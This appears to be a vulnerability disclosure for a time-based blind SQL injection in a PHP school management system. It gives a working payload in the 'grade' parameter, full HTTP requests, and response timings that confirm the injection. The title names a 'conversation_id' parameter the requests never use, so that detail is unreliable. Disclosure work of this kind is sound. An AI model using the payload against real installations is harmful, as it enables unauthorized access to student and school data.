

SQL injection vulnerability exists in conversation_id parameter of /view/emarks_range_grade_update_form.php file of Complete Web-Based School Management System

Important user data or system data may be leaked and system security may be compromised

The environment is secure and the information can be used by malicious users.

Sleep time is 8s:

Request

```
1 GET /std1/view/emarks_range_grade_update_form.php?
  grade=0'XOR(if(now()=sysdate())%2Csleep(4)%2C0))XOR'Z
  &page=1 HTTP/1.1
2 Accept: */*
3 X-Requested-With: XMLHttpRequest
4 Referer: http://192.168.31.163/std1
5 Cookie: PHPSESSID=95dng85hgfljivcqlqqbcm92pd
6 Accept-Encoding: gzip,deflate,br
7 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64;
  x64) AppleWebKit/537.36 (KHTML, like Gecko)
  Chrome/114.0.0.0 Safari/537.36
8 Host: 192.168.31.163
9 Connection: Keep-alive
```

Response

```
1 HTTP/1.1 200 OK
2 Server: nginx/1.15.11
3 Date: Thu, 18 Apr 2024 15:57:03 GMT
4 Content-Type: text/html; charset=UTF-8
5 Connection: keep-alive
6 X-Powered-By: PHP/7.3.4
7 Content-Length: 2049
8
9 <!-- //MSK-00103 Modal-modalUpdateform1-->
10 <div class="modal msk-fade" id="modalUpdateform1"
  tabindex="-1" role="dialog" aria-labelledby="
  modalInsertform" aria-hidden="true">
11
12 <div class="modal-dialog ">
13 <!-- Modal content-->
14 <div class="container modal-content1 ">
15 <!--modal-content -->
16 <div class="row ">
17
18 <div class="col-md-3">
19 <div class="panel panel-primary">
```

Done 2,239 bytes | 8,050 millis

Sleep time is 11s:

Request

```
1 GET /std1/view/emarks_range_grade_update_form.php?
  grade=
  0'XOR(if(now()=sysdate())%2Csleep(5.5)%2C0))XOR'Z&
  page=1 HTTP/1.1
2 Accept: */*
3 X-Requested-With: XMLHttpRequest
4 Referer: http://192.168.31.163/std1
5 Cookie: PHPSESSID=95dng85hgfljivcqlqqbcm92pd
6 Accept-Encoding: gzip,deflate,br
7 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64;
  x64) AppleWebKit/537.36 (KHTML, like Gecko)
  Chrome/114.0.0.0 Safari/537.36
8 Host: 192.168.31.163
9 Connection: Keep-alive
```

Response

```
1 HTTP/1.1 200 OK
2 Server: nginx/1.15.11
3 Date: Thu, 18 Apr 2024 15:57:32 GMT
4 Content-Type: text/html; charset=UTF-8
5 Connection: keep-alive
6 X-Powered-By: PHP/7.3.4
7 Content-Length: 2051
8
9 <!-- //MSK-00103 Modal-modalUpdateform1-->
10 <div class="modal msk-fade" id="modalUpdateform1"
  tabindex="-1" role="dialog" aria-labelledby="
  modalInsertform" aria-hidden="true">
11
12 <div class="modal-dialog ">
13 <!-- Modal content-->
14 <div class="container modal-content1 ">
15 <!--modal-content -->
16 <div class="row ">
17
18 <div class="col-md-3">
19 <div class="panel panel-primary">
```

Done 2,241 bytes | 11,005 millis

Payload: grade=0'XOR(if(now()=sysdate())%2Csleep(5.5)%2C0))XOR'Z

Source Download:

<https://www.campcodes.com/projects/php/web-based-school-management-system/>